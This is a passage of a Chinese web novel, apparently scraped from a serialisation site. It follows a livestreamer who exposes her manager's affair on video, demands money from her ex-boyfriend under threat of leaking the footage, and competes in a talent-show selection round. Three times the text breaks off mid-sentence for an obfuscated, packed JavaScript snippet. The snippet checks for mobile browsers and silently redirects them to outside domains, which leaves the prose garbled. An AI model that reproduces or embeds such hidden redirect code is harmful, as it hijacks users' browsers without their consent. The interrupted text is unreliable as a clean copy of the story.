章衍的脸色阴沉得不像话,脸上一副恨不得把时闻生吞活剥了的神色。 碍于香蕉平台已经做了决定,他本不好再多说什么,但事关重大他还是说: “徐总,您看公司要不要再研究一下,依我看,平台的规矩不应该为了某个个人的行为或者歪理强辩而改变。” 35.三十五 听了章衍的话,时闻眼皮上挑,冷冷吐道:“你不是香蕉直播的人,为什么在这里替人家做决定?” 章衍呵呵一笑:“我们高源资本是《星璨》的第一大冠名商,自然可以决定让不让谁参赛。” 谷煜冷笑道:“哦?《星璨》冠名商还在竞标中,结果还没出来,你们怎么就说自己是第一冠名商了?” “怎么,合着结果是内定的?” 章衍脸上闪过一丝尴尬和错顿,高源资本和包括笑口集团在内的其他几个公司还在争夺《星璨》的冠名权,竞争进入后半段。 但和竞争对手相比,高源资本家大业大,财力雄厚,高家和《星璨》节目负责人李寅虎交情又深,所以对于此次的冠名权志在必得。 业内也都一致认为,虽然冠名权还在争夺中,但最终肯定会花落高家。 虽然这是公认的事实,但毕竟一切还没尘埃落定,《星璨》方面还没官宣,高家一直交代下面的人要谨言慎行,不招惹不必要的麻烦和口舌。 章衍确实有些操之过急了。 见他面上一顿,谷煜已经抢道:“而且,高家劣迹满满,大劈叉知道的披露的只是冰山一角,你们既然说劣迹艺人、主播不得参加活动,那么高家也没有资格参与冠名。” 章衍神情阴鸷,金丝眼镜后面的眸子里浸满锐利和冰冷:“一直以来,有许多人嫉妒高家的成就,对高家捕风捉影、无中生有,我们对此都发了律师函,会以最严厉的手段惩治不法分子。” “怎么,谷公子也想收一份律师函?” 谷煜大怒:“发啊,你有本事就发啊,咱们法庭上见!” 高文滨眼见战火又起,叫苦不迭,这时手机里的齐总发话:“各位,稍安勿躁,咱们回到原来的问题上。” “平台刚刚研究决定了,给予大劈叉参加《星璨》选拔赛的名额。” “至于《星璨》的冠名权,这已经不属于香蕉平台可以管理的范畴,烦请二位私下解决,或者联系《星璨》的节目组。” “咱们《星璨》选拔赛今天下午就开始了,大家可不可以暂时平息一下情绪,让选手们调整状态,准备比赛?” 齐总是香蕉直播运营公关的总负责人,经常处理公关和外务活动,人脉广,大家一般都会给些面子。 他刚刚特意把“名额”二字咬得很重,话外之意非常明显:香蕉平台只是允许她参加选拔赛而已,并没有保证她会晋级。 这样折中的结果让谷煜和章衍都觉得合理,所以二人决定尊重活动主办方,把冠名权的恩怨放在一边,暂时熄火。 不过就在周文滨挂断电话的时候,林见微突然冷不丁地冲麦乐鸡说:“麦乐鸡,咱俩谈谈解约的事吧。” 这话一出,众人反应各异,吃瓜群众表示这一趟真是赚到了,有这么多戏可看,一出接一出。 周文滨刚刚暗松一口气,以为事情终于了结了,没想到一波刚平一波又起,简直令人焦头烂额。 谷煜、时闻、章衍等人十分诧异,这冷不丁的,怎么突然提起解约的事? 麦乐鸡脸色阴沉至极,抖着嘴唇冰冷吐道:“有什么话,我们私下说。” 林见微:“合同是白纸黑字写着的,怎么,莫非你觉得里面有什么见不得人的内容,不敢在众人面前提起?” 望着麦乐鸡那张一瞬间黑掉的脸,林见微从场控小姐姐那里取回了随身背包,从里面抽出一叠纸。 她手一扬,几张白纸在空中哗啦抖动。 “各位,这是公司和我签订的直播合约,大家可以传阅一下,看看有无不妥。” 说着,她又从包里变出几份复印好的合同,左右分发下去。 麦乐鸡跺脚瞪眼气道:“住手!你这是泄露公司机密,是违规的,要扣钱!!” 一边说一边抢上,试图从众人手里抢回复印合同。 但吃瓜群众哪里给她机会,纷纷像护宝物一样护住到手的合同,没给麦乐鸡任何可乘之机。 读得快的人已经发出阵阵低叹:“看看这霸王合同”“天啊,也不知道他们公司的主播是怎么过的”“强制每天直播12小时,不播就扣钱??”“太阴暗了,不看不知道,一看吓一跳。” 麦乐鸡气得全身发抖,抓起手机就要打电话:“大劈叉你给我等着!我现在就给领导打电话,你等着收传票交违约金吧!” 林见微上前一步大力握住她手腕,麦乐鸡立刻吃痛惨叫一声,林见微顺势夺了她手机。 迎着麦乐鸡惊恐目光,林见微徐徐说道:“麦乐鸡,在场的人都不是傻子,公司条款有无问题,大家自有公论。” “现在公司霸王条款外泄,很可能几小时后就登上社会新闻热搜,你是我的负责人,出了这件事,公司会怎么罚你?” 麦乐鸡的表情一下子冷了下来,整个人手脚冰冷,瘫软无比。 公司向来铁面无情,如果真出了大事,她根本没工夫管林见微交不交违约金,公司高层会让她吃不了兜着走。 怒极恨极,她扬起手,作势就要扇林见微一个巴掌! 但林见微眼疾手快,直接一个侧头轻巧躲过,反而麦乐鸡因为用力过大站立不稳,差点摔个大跟头。 四周传来一阵嗤嗤低笑。 麦乐鸡怒火攻心,大吼一声,尖锐的叫声简直能把房顶刺穿。 林见微呵呵一笑:“怎么,这就受不了了?看来你的承受能力差的很啊,那接下来的事,你要怎么承受呢?” 麦乐鸡:“??接下来什么事??” 林见微拿出自己手机,调出一份视频资料,点击播放。 开头的几秒钟就让麦乐鸡彻底破防,绷不住了,她尖叫着扑来,想要抢走林见微的手机。 但林见微早就料到她会如此,顺手反推——有了刚刚那个没打中的巴掌,众人早就眼明手快地东拉西扯架住了麦乐鸡。 麦乐鸡被人用力推搡着往后退着,不甘心地拳打脚踢,目眦尽裂大吼大叫:“把视频关了!你再放,信不信我找人打死你!!” 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531061|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见微默默调高了音量,只听里面清晰地传来麦乐鸡柔情似水的声音:“关上门好吗?” 然后,众目睽睽之下,视频里的麦乐鸡吻上了一个眉目英俊,长相熟悉的男人。 深情拥吻后,二人暂时分开,众人纷纷惊呼:陈怀顾! 紧接着,视频里传来陈怀顾低沉的嗓音:“我要是你男朋友,肯定天天往家跑,我根本就不想出去,只想和你黏在一起。” 麦乐鸡回道:“你这么贴心,大劈叉一定很幸福啊。” 陈怀顾抚着她的脸轻声问:“你想幸福吗?”“那你……再耐心等一等?” 天降大瓜砸了众人一个措手不及,吃瓜群众无论如何也没想到,这戏越来越精彩了。 这是我不付费就能看的东西吗?? 麦乐鸡已经脱力,不顾一切地嘶哑吼道:“快把视频停下!!那视频不是真的,不是!是大劈叉这贱人恶意剪辑陷害我的!!你们不要相信!” 然而早有人举起手机对准麦乐鸡拍了起来。 四面合围的手机镜头成为最后一根稻草,麦乐鸡一下子瘫坐在地上,捶胸顿足大哭大吼: “你们都欺负我……呜呜呜呜呜……都欺负我!!我是粉丝数过10万的头部主播……你们这是在嫉妒我……呜呜呜呜” 和此时涕泗横流嗓音沙哑的声音形成鲜明对比的是,视频里又传出那牙尖嘴利,居高临下的声音: “她当时家里遇到点事,本想找我借十万块钱,还在我这儿痛哭流涕的,各种立誓说一个月之后肯定还我……我要是真借给她,那不相当于肉包子打狗有去无回……后来我问她,为什么不去试试高利贷……她后来还真去了,而且,果然没钱还债。” 众人早就惊呼不已,此时此刻才知,林见微之前被人上门暴力催债,竟起源于此。 闹明白事情起因,众人无不唾弃麦乐鸡的狠心。 她一个日入过万的头部主播,明明有财力出手相助,却眼睁睁看着小姐妹陷入高利贷的无底洞。 事后还各种讥讽嘲笑,落井下石。 呸,人渣! 有人感同身受,实在气不过,干脆直接冲上前,朝坐在地上的麦乐鸡踢了一脚。 眼见形势不对,场控小姐姐一溜烟跑出去找保安,没过多时几个精壮男人雄赳赳快步而来,大声喝止了这场闹剧。 趁保安大哥维护秩序时,郝施慌忙把麦乐鸡从地上搀起,此时麦乐鸡脸上惨不忍睹,泪水把眼线和粉底遮瑕尽数冲毁,黑一道白一道的触目惊心。 她瘫软无力,眼神呆滞,场控小姐姐和郝施一左一右,花了好大功夫才勉强把她架到一个休息室。 后台这边,大家在保安的驱赶下不情不愿地散去,把林见微、谷煜、章衍等人留在原地,问询警告了一番才罢休。 扬着脖子看保安走远后,谷煜吐了吐舌头,冲林见微比了个“厉害”的手势。 时闻则意味深长地看着她,半晌后幽幽问道:“所以,你和陈怀顾不是男女朋友关系?” 36.三十六 林见微有点惊讶,笑道:“为什么这么问?” 时闻眼神沉沉地坠在她脸上:“没有人会这么坦然地,把自己男朋友和别的女人偷情的视频当着这么多人的面公开放出来。” “如果你这么做,说明你心里没有他。” 林见微竖起大拇指:“不愧是知名演员,观察生活细致入微。” 时闻不紧不慢地追问:“所以,你和陈怀顾到底是什么关系?” 林见微微微一笑:“这对你很重要吗?” 时闻哑然,幽深的黑眸一下变得深雾缭绕,让人看不出他的情绪。 半晌后他说:“你在直播间里公开支持林见微,揭露高翔的恶行,我很佩服你的勇气,觉得你一定不是一个会为了名利卑躬屈膝的人,而是一个可以为了心中的理想正义揭竿而起的勇士。” “可是你和陈怀顾、林见微的关系又确实耐人寻味非比寻常,我想任何人都会好奇。” “我仰慕林见微,当年看了她演的《月淡花浓》,才下定决心成为一个演员,希望有朝一日能与她比肩。” “你螳臂当车为她发声,我很赞佩你的勇气,所以只是想确认,你这么做的目的。” 听他提到《月淡花浓》,林见微非常吃惊。 那是她拍的第一部戏,当时她还在上高中,走路上被星探发现,误打误撞拍了《月淡花浓》。 这部戏的导演是个新人,整部剧除了画面文艺故事唯美外,没什么亮点,所以没有激起什么水花,看过的人寥寥无几。 她不敢相信,时闻竟然看过这部戏。 而且还因为这部戏粉上了她,甚至自己也走上了演艺道路。 听他的意思,林见微竟然是他的……白月光??? 她一直以为他是在《烟雨半生》的庆功宴上才第一次知道她的。 那次高翔递给她一杯下了药的酒,时闻拍案而起,敲碎了酒瓶疯了一样追着高翔打。 她以为他和她只是萍水相逢,他路见不平拔刀相助。 没想到他是见不得心中的白月光受欺侮。 时也命也。 脑子里嗡鸣一片,林见微好半晌没说出话。 见此场景,谷煜立刻上前笑道:“时闻,你会不会说话?大劈叉是个单纯善良的热心人,冒着被封杀的危险不畏强权伸张正义,你怎么能质疑人家初衷呢?快给人赔礼道歉!赶紧的!” 冒着被封杀的危险?时闻在心里叹息地摇摇头,脑中蓦然浮现出那天晚上林见微被几个拿着刀的小混混堵在暗巷的场景。 那天晚上,如果不是因为他看了大劈叉的直播,看到了她购买酸奶小票上的地址,及时察觉风险赶到附近,林见微说不定就一命呜呼,当场交待在那里了。 她是冒着生命危险,不惜一切代价和高家叫板干仗。 真是蠢到极致,纯到极致。 这时只听林见微一句一句道:“我和陈怀顾已经一刀两断,没有任何关系了。我仰慕林见微,可怜她同情她,也同情世界上千千万万个和她有过一样遭遇的人。” “我选择站出来,是为了自己的良心,面对这滔天黑暗,我愿意燃烧自己,用这一点点萤火微光提醒世人,这世界上还有真,还有善。” “如果你不愿意相信,那我们就不是同路人,我没必要也没时间和你解释任何东西。” “我要去准备等会儿的选拔赛。你们请自便吧。” 说完,她头也不回地离开,没有看到身后谷煜那错愕的眼神,还有时闻脸上涌出的歉然和内疚。 当林见微的身形消失在房间门口,谷煜才长长吐出一口气,幽幽地说: “时闻,你脑子秀逗了?那天在饭局上见到她之后,你就催着赶着让我去侧面了解一下她的情况。我特意跑到麦乐鸡家,跟她深谈了一番,还把舒养酸奶的推广业务交给她。” “事实证明,她是个上进善良的好姑娘,我都一五一十地告诉你了,你为什么还要当面问人家?” “你的礼貌呢,素养呢,绅士风度呢?都被狗吃了?” 面对谷煜连珠炮一样的提问,时闻苦笑地叹气摇头,过了许久才缓缓地喃喃道:“是我的问题。” 下午两点,《星璨》名额选拔赛正式开始。 和其它选秀栏目不同的是,《星璨》既选男又选女,最终要三男三女成团出道。 概念一出就引发广泛讨论,不少人表示这个点子新颖奇特,值得关注。 还有人隔空pick出道过的小哥哥小姐姐,组合出自己心目中的完美星璨团。 选秀节目的参选人一般都来自各大经纪娱乐公司,但《星璨》向各大直播平台也发出邀约,力邀头部的唱跳主播一起参与评选。 消息一经传出,《星璨》的话题讨论度如坐了火箭般蹿升,微博和各大直播平台都展开了如火如荼的讨论。 香蕉直播有幸获得了两个选送名额,一男一女,今天的选拔赛分为唱歌、跳舞、唱跳组合三场,得分最高的男女选手将获得名额。 林见微在来之前虽然没有把握一定能争取到名额,但还是随身带了白T黑短裤运动鞋。 简单补了个妆,扎了个丸子头,那边就通知她唱歌比赛要开始了。 之前抓周,她不幸抽到了数字3,意味着总共21名选手,她排第三出场。 排在她前面上场的一男一女都乏善可陈,虽然是唱歌主播,但直播间设备先进,唱出来自带修音效果,所以现在一开口,观众们都有些失望。 满分10分,前面两个人分别获得了5分和5.5分的成绩,第二个小哥哥下场时,场控小姐姐朝林见微招招手,主持人端庄温柔地报幕说: “下面,有请扬州大劈叉为我们带来一曲《忘了我吧》。” 稀稀拉拉的掌声从四面响起,林见微清嗓子的时候发现,自己心脏已经快跳到了嗓子眼。 她真的很紧张,毕竟她嗓音条件一般,从没自信在近二百人面前演唱。 报幕小姐姐温温柔柔地走下台,给了她一个鼓励的眼神,林见微深呼吸几口,缓缓走向近二百双眼睛盯着的舞台。 灯光微暗,一束聚光灯从头顶打来。 林见微走到聚光灯下,望着台下那一双双毫无表情的眼睛。 前奏还未响起,大礼堂内鸦雀无声,林见微可以清晰地听见自己扑通扑通的心跳。 攥紧话筒的手心里布满了汗。 舒缓的前奏娓娓响起,林见微目光从观众席移到一旁的评审席,突然发现那里坐着一个熟悉的身影。 章衍。 她的心骤然紧了一下。 章衍旁边坐着两个面生的男人,神情严肃地望着她。 来之前,她听说参与评审的是香蕉直播的高层加上《星璨》的副导演,完全没想到高家的人也在里面。 就凭她和高家的过节,章衍绝对不会给她好果子吃。 前奏放完,林见微唱了起来: 忘了我吧,就当我从未来到这个世界…… 刚刚唱完第一句,林见微心里咯噔一声。 她的嗓音有些紧,平日沉稳的声音变得有些尖细,麦克风放大后显得更加奇怪。 观众里不少人皱起眉头,评审组的三人更是神情严肃,坐在最右边那人还轻轻摇头。 林见微硬着头皮继续唱了下去: 黄昏的光温暖铺洒在阳台,我看着远处的花儿开了又谢…… 今天真的不在状态,这句词甚至有些走调。 台下皱眉的观众越来越多,不知是不是错觉,林见微好像听见了下面的窃窃私语: “唱的是什么玩意儿啊”“就这水平,还敢上台”“就是,听说参赛名额还是她费好大劲争取来的,还以为她多厉害呢,结果就这??” 议论声越来越大,林见微一分心,有几句词唱慢了,节奏一下子乱掉了。 好在第一节和第二节中间有个短暂停歇,利用这个空当林见微又找补回来,中规中矩地唱完了第二节。 进入副歌部分,她勉强延续了好不容易找回来的节奏,但音色还是发紧,让人听着不太舒服。 整首歌终于磕磕绊绊结束,林见微脸上发烧,恨不得马上逃下台去。 然而还有评审打分环节,章衍第一个发言,他皮笑肉不笑地看着林见微,嘴角挂着一抹意味深长的幸灾乐祸。 举起话筒,他半笑不笑地说:“我早就说过,不提倡粉丝数不过万的主播参加选拔。原因我也讲了多遍,没有声乐基础、没有粉丝基础、没有表演经验,三无表演,不值得一看,就算侥幸被选上去《星璨》,也逃不过一轮游的命运。” 话说得犀利锋锐但不无道理,众人都暗自点头,同时为林见微捏了把汗。 林见微脸上发烧,攥紧话筒的手如她的心一样冰凉。 章衍讲完,评审席最右边那男人举起话筒,开口时林见微大惊——听那声音,赫然是周文滨电话里那位徐总。 果然,他一开口就盯着林见微半笑不笑道:“你好啊大劈叉,我们终于见面了。咱们刚刚通过电话。” “我们香蕉平台成立以来,一直很看重主播的个人勤奋努力,我们平台的一个标语就是:吃得苦中苦,方能成头部。最近几天你直播得很努力,刚刚你也向我们展现了想参与比赛的积极愿望,所以我们经过研究,特意破格给予你一个参赛名额。” “但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538677|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你让我们很失望。” “你唱功明显欠缺,缺乏基础的声乐训练,用通俗的话讲,就是五音不全,还唱歌忘词。” “我对你的结论就是,你完全不适合《星璨》节目,还是趁早打道回府吧。” 本以为章衍的话已经够犀利了,没想到徐总更加不留情面。 观众席间议论纷纷,夹杂着谷煜不满的叫喊:“人家只是紧张没发挥好啊,干嘛这么批得这么狠!” 林见微呆立在舞台中央,头顶压下的聚光灯束好似有千斤重。 她听见自己涩涩地对着话筒小声说:“谢谢老师的意见。” 下面又传来谷煜的高呼:“这个时候还顾及什么礼貌啊喂!” 台下一片哗然,场控小姐姐不得不下场维持秩序,这时坐在评审席中间那位开了口。 “好,下面我来点评一下。” 这人是《星璨》的一个副导演,名叫陈华,拥有本次选拔赛的最高话语权,所以坐在C位。 所以他一开口,全场立刻安静下来。 万众瞩目下陈华缓缓道:“扬州大劈叉,单论唱歌而言,两位老师已经评价过了,我就不过多赘述。” “下面还有两场比赛,一考跳舞,一考唱跳组合,我希望你能吸取教训,化悲愤为动力,争取好的表现。” “我看过你在直播中的唱跳,非常惊艳,期待你接下来的表现,希望呈现和这一场截然不同的效果。” 一席话中鼓励多过批评,林见微不由得十分感动,捏着话筒点头道:“好的,一定。” 分数当场就出来了,章衍和徐总都给了4分,但陈华给了6分,他表示还是看好林见微接下来的表演,希望给她一点鼓励和安慰。 章衍和徐总的评分各占15%,陈华一人独占70%,所以林见微最后的得分是5.4。 下台的时候她两条腿都是木的,额头和后背都渗了一层汗,空调一吹全身发凉。 因为还有18位选手要轮番上台演唱,下一场舞蹈比赛要等两个多小时才能开始。 后台里没太多人,大家都出去找地方练习下一阶段的舞蹈了,所以当一个声音冷不丁响起时,林见微吓了一跳。 “刚刚怎么不在状态?” 林见微正满腹心事,听见声音差点跳起来,抬头一看,时闻满脸含笑地站在对面。 那笑容显得有些刻意,和他清冷矜贵的脸不搭,好像是硬拗出来的。 就好像……好像他有点心虚。 林见微想着上台前和他的对话,没好气地说:“怎么,看我笑话很好玩吗?” 时闻被噎了一下,一时不知道该说什么,林见微便续道:“你有事吗?我要去练习舞蹈了。” 说完,也不待他回答,径直向对面大门走去。 经过时闻身旁,却被他一把拉住手臂。 这一下,林见微和时闻都震惊了。 林见微瞪着时闻,含刀子的眼神好似在说:你tm赶紧给老子放开!! 时闻明显愣住了,握住她胳膊的手火烧一般的烫,然后触电一般地放开。 他慌乱地道歉:“对不起,我,我不是有意的,我只是……” 林见微根本不等他说完,头也不回地朝前大步走去,后面追来时闻的叫声: “我只是想说,你一定可以的,别放弃,要加油!” 林见微微微一愣。 印象中的时闻永远一副淡漠了然,清冷疏离的样子,从没听过他高声讲话。 不对,上一次听到他如此高分贝的喊叫,是那次高翔递给她下了药的的酒的饭局。 他敲碎啤酒瓶质问高翔的时候,就是这般的震耳欲聋。 她愣在原地,然后转身,对上了那双蕴着某种殷切的黑眸。 他看上去是那么认真,俊朗的眉宇间炽着林见微读不懂的情绪。 她定定地看着他,一瞬间有些恍然。 他,难道对她…… 下一刻她自嘲地笑着轻摇头:为什么要纠结这些,眼下最重要的是事业,是第二场比赛。 于是她朗朗地说:“我会的,谢谢。” 披着时闻复杂的目光,她落落地走出去,瘦小挺拔的背影很快消失在门口。 许久之后,时闻才长长吐出一口气,恍然惊觉他的后背不知何时渗出一层细汗。 心跳也快得惊人。 他活动了一下站得有些僵硬的双腿,内心有一种说不出的情绪。 猛然间他想起,二人在临江区派出所第一次见面时,大劈叉也是用力抓着他的胳膊,提醒他小心高翔。 “唉……”他听见自己低叹。 “是我的问题。” 37.三十七 准备第二场比赛的时候,陈怀顾打来了电话。 一接通,他就气急败坏地吼道:“大劈叉,你想干什么?!” 林见微微微一笑:肯定是麦乐鸡告诉他刚刚发生的事了。 她冷静道:“想和你谈谈。” 陈怀顾咬牙切齿,一字一顿吐道:“谈什么?” 林见微:“谈一谈你要给我多少分手费。” 陈怀顾简直不敢相信自己的耳朵,半晌才低哑道:“你不要得寸进尺,我一开始和你在一起,是可怜你,我和你在一起两年,你应该对我感恩戴德,而不是像现在这样狼子野心,背地里算计我!” 林见微冷冷一笑:“感恩戴德?你以为你是谁,九五之尊的皇帝吗?我和你在一起,是我可怜你,可怜你这个连戏都演不好的小演员,可怜你这个连开个火锅店都要女朋友垫资的窝囊软饭男,我付出了两年的青春,你不应该好好地补偿我吗?” 陈怀顾气到发抖,咆哮道:“你,是谁给你的勇气,让你口出如此狂言!!” 林见微:“视频证据和录音证据我都有,如果你不冷静一下,我可以现在立刻就发到网上,或者发给几个娱乐记者,到时候他们找你开价,可不一定有我这么仁慈。” 最后一丝残存的理智迫使陈怀顾不得不认真思考林见微的话:没错,如果这件事曝光,对他的事业将造成重大打击。 如果视频资料被狗仔拿到,他们敲竹杠只会敲得更厉害。 权衡了一下利弊,陈怀顾逼着自己尽量冷静地问:“你想要多少钱?” 林见微:“你跟林见微分手的时候,给了四百万,所以我也要四百万,然后我们就一刀两断,从此再无瓜葛。” 陈怀顾:“大劈叉,我警告你,你这是在敲诈勒索,我可以追究你法律责任的!” 林见微:“我要你这笔钱,并没有打算留作自用,而是在帮你还人情债。” “你知道我一直在网上发声支持林见微,现在她依然躺在医院昏迷不醒,而你却在外面蝇营狗苟,勾搭这个玩弄那个。” “林家就林见微一个孩子,这笔钱我是替家属要的,你如果今晚12点前不把钱打到林见微的户头上,我就把视频资料发到网上。” “你好自为之吧。” 说完,林见微啪地挂了电话。 由于后面的一些选手刚唱几句就被叫停,过了一个多小时,第一阶段的唱歌比赛结束了。 名次也排了出来,一个叫沈惊鸿的唱歌主播以8分的成绩排第一,林见微发挥不佳,只排在第12。 跳舞比赛很快开始,这次林见微运气不错,抽了个数字10,所以她是第10个出场。 前面三个选手发挥平平,没太大亮点,观众席间哈欠连连,大家观看了一个多小时的比赛,都有些疲惫。 第四个是沈惊鸿,她一出场就让众人眼前一亮:繁复华丽的民族服饰,金镯子金链子闪耀发光,配上少女娇羞的容颜,仿若山里飞出的一只灵动美丽的鸟。 民族风情的音乐响起,沈惊鸿翩翩起舞,细软的腰肢和柔美的舞姿令众人赞叹不已。 一曲结束,台下掌声雷动,欢呼叫好声此起彼伏。 沈惊鸿手扶胸口,款款弯腰鞠躬,观众席再次爆发出一阵叫好声。 第五到第七名选手表现得也不错,但比之沈惊鸿还是差了一定距离,观众评委反响平平,都有一种曾经沧海难为水的感觉。 第八名是林波微步,他是香蕉平台上近几个月人气飙升最快的跳舞主播,所以众人期待值拉满。 林见微本来在后台候场,此刻特意来到台前,想一饱眼福。 然而当音乐响起的那一刻,她傻眼了。 劲! 劲爆的音乐响彻整个宇宙 无数的劲酒尽情地嗨 林见微:完了,撞曲了。她选的也是这一首。 林波微步以一个帅气的扶帽pose亮相,然后随着动感音乐大开大合地跳了起来,时而在地上如旋风一样翻腾,时而跃起如大鸟一样在空中滑动,腾挪旋转,无所不能。 精彩的动作目不暇接,众人看得一愣一愣的,音乐结束许久后,大厅内才爆发出雷动掌声。 “天啊,跳得也太好了吧!”“这技术,和其他人完全不在一个量级上啊!”“降维打击,降维打击。” 林波微步深鞠一躬,众人纷纷呐喊叫好,甚至有人高呼:“再来一个!” 评审们一致高分通过,林波微步在众人的掌声中下了场,林见微也赶忙一路小跑地回到后台。 刚进去,就差点撞上了迎面而来满脸焦急的谷煜。 “诶嘿!你去哪儿了?我满后台找了个遍也没看见你人……” 林见微不想多话,毕竟马上就要上台了:“怎么了?” 谷煜笑嘻嘻地把一小瓶蓝色饮料塞进她手里:“快喝一口。” 低头一看,瓶身上赫然写着两个大字:蓝牛。 林见微:“???” 谷煜嘿嘿一笑:“我家新研制的功能性饮料,一瓶更比六瓶强,下肚五秒钟,亢奋俩小时。” 林见微一言难尽地看着他,犹豫半晌还是表情复杂地问道:“你……你确定没把我当小白鼠?” 这时手里一松,原来是时闻紧跟上来,一把夺走了蓝牛。 “这种还没上市的饮料,你自己先尝一尝再给别人喝。”时闻板着脸说。 谷煜:“我尝过了!味道不错,效果也特别好,所以才让我们亲爱的大劈叉试试,她马上就比赛了,我这不是想帮帮忙……” “你这是帮倒忙,”时闻冷冷吐道,“保持平常的状态就很好。” 谷煜不满地把蓝牛抢回来,扭开盖咕咚咕咚喝了下去:“那我喝,等会儿有力气给大劈叉鼓掌。” 第九名选手很快结束了表演,报幕小姐姐甜美地对众人宣布,下一个上场的是扬州大劈叉。 林见微的心再次提到嗓子眼,虽然她的舞蹈水平确实不错,和其他的唱跳主播相比毫不逊色,可是林波微步可不是一般的唱跳主播。 他的技术,是碾压级的。 而她,好死不死地和他选了同一支曲子。 唉,一头撞死算了。 报幕小姐姐温温柔柔地走下台,谷煜在后面大喊了声加油,林见微挤出一副比哭还难看的笑容,硬着头皮走到舞台中央。 灯光熄灭,舞台全黑,然后随着一声炸裂的低哑男声嘶吼,舞台灯光大开,全部目光聚焦在林见微身上。 劲爆的音乐响彻整个宇宙 无数的劲酒尽情地嗨 林见微的编舞和林波微步不太相同,林波微步是男生,编舞充满了力量感和爆发力,林见微是女生,动作里加了些甜美柔和。 两人虽然跳的是同一支曲子,但风格截然不同,各是各的韵味。 平心而论,林见微跳得不错,如果她先出场,一定会赢得阵阵喝彩。 但林波微步珠玉在前,大开大合的动作令人印象深刻,所以林见微吃了亏,曲子过半,台下静悄悄的,竟无人鼓掌。 林见微安慰自己不要慌张,按着节拍鼓点一个动作一个动作完成,不求多么出彩,但求不要出错。 曲子结束,林见微气喘吁吁地擦了下额头的汗,对着观众深鞠一躬。 台下稀稀拉拉响起掌声,夹杂着一声略带低沉的叫喊:“好!” 林见微抬头,发现时闻不知何时已来到第一排,正有力地鼓掌。 见她看过来,他竖起一个大拇指,又叫了一声好。 众人见时大明星带头叫好,纷纷加入,嘹亮的鼓掌声从四面响起,几声欢呼口哨声混杂其中。 谷煜在一旁上蹦下跳地鼓掌叫好,一看就是蓝牛起了作用。 待观众席恢复安静,评审席那边发了话。 这次是徐总先评:“跳得还可以,技术比唱歌好多了。章总,你怎么看?” 章衍接过话茬:“嗯,跳舞确实还行,但《星璨》是一个唱歌跳舞的比赛,光会跳舞可不行。” “而且我们选拔的偶像团体要边唱边跳,难度更大,还要互相打配合,你跳舞中规中矩,但一旦兼顾唱歌和团队配合,肯定会很吃力,所以水平还是不过关。” “您说呢陈总?” 陈华皱着眉沉吟片刻,似乎在思索什么,然后缓缓道:“我同意二位的看法,跳得确实还行,符合你直播间里的水准,有惊喜,而且有自己的思考。” “唱歌方面确实欠缺了一些,但这个可以练习,我们《星璨》节目是9月份开始录制,所以还有时间。” “明天早上我们考核唱跳,希望你晚上好好准备一下,咱们明天再见。” 林见微深鞠一躬,真诚地说了声谢谢。 陈华似乎很偏袒她,这令她十分意外。她不觉得大劈叉和这位《星璨》副导演有什么瓜葛,二人萍水相逢,他却愿意如此照拂,虽不知出于何意,但毕竟暖人心弦。 最后的打分环节,章衍和徐总都打了6分,陈华给了7分,所以最后综合得分6.7,暂时和沈惊鸿一起暂列第二。 林波微步以7.5分位居第一。 回到后台,林见微简单收拾了下东西,刚准备打道回府,谷煜从门外闯了进来,见她背包要走,惊讶道: “怎么这就要走了?晚上一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545262|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃个饭呗。” 林见微苦笑:“还吃什么啊,要回去练习一下明天的唱跳了。” 谷煜:“害,吃饱了再练也不迟嘛!这附近有一家我们常去的粤菜餐馆,一起去尝尝?” 谷煜说“我们”,但房间里只有他一人,于是林见微眼神微眯,越过谷煜肩头往门外看去。 果然,没有亮灯的楼道里好像站着一人。 虽然光线昏暗,但还是能辨出那人身形颀长,挺拔如松。 “真不去了,我晚上还有好多事呢。”林见微说着便往外走。 谷煜在后面顿足追去,林见微越过黑暗中默然站着的那人,一阵深山松竹的清香幽然传来。 “等一等。”时闻说道。 林见微站住脚步。 “晚上一起研究一下账号解封的事吧。”时闻续道。 黑暗里他的声音冷静低沉,有一种让人莫名心安的力量。 她的脚步遂钉在原地。 谷煜之前好像模糊提过一次,时闻在帮她解决账号封禁的问题。 当时她也没细问,心想时闻怎么可能想起来帮她这么个十八线小主播解决问题。 但现在听起来,好像是真的? 既然如此,这顿饭确实值得吃一下。 然而正当她准备开口时,走廊里突然传来一阵急促的哒哒哒脚步声。 她和时闻同时抬头,只见林波微步从不远处一路小跑而来,一头卷毛在空中上下翻飞,身上还穿着刚刚的舞台服。 他跑得很快,停下开的时候气喘吁吁,擦了擦脑门的汗,才冲林见微说:“劈叉姐姐,幸好你还没走。” 林见微心里微微一紧:“怎么了?比赛结果有变动吗?” 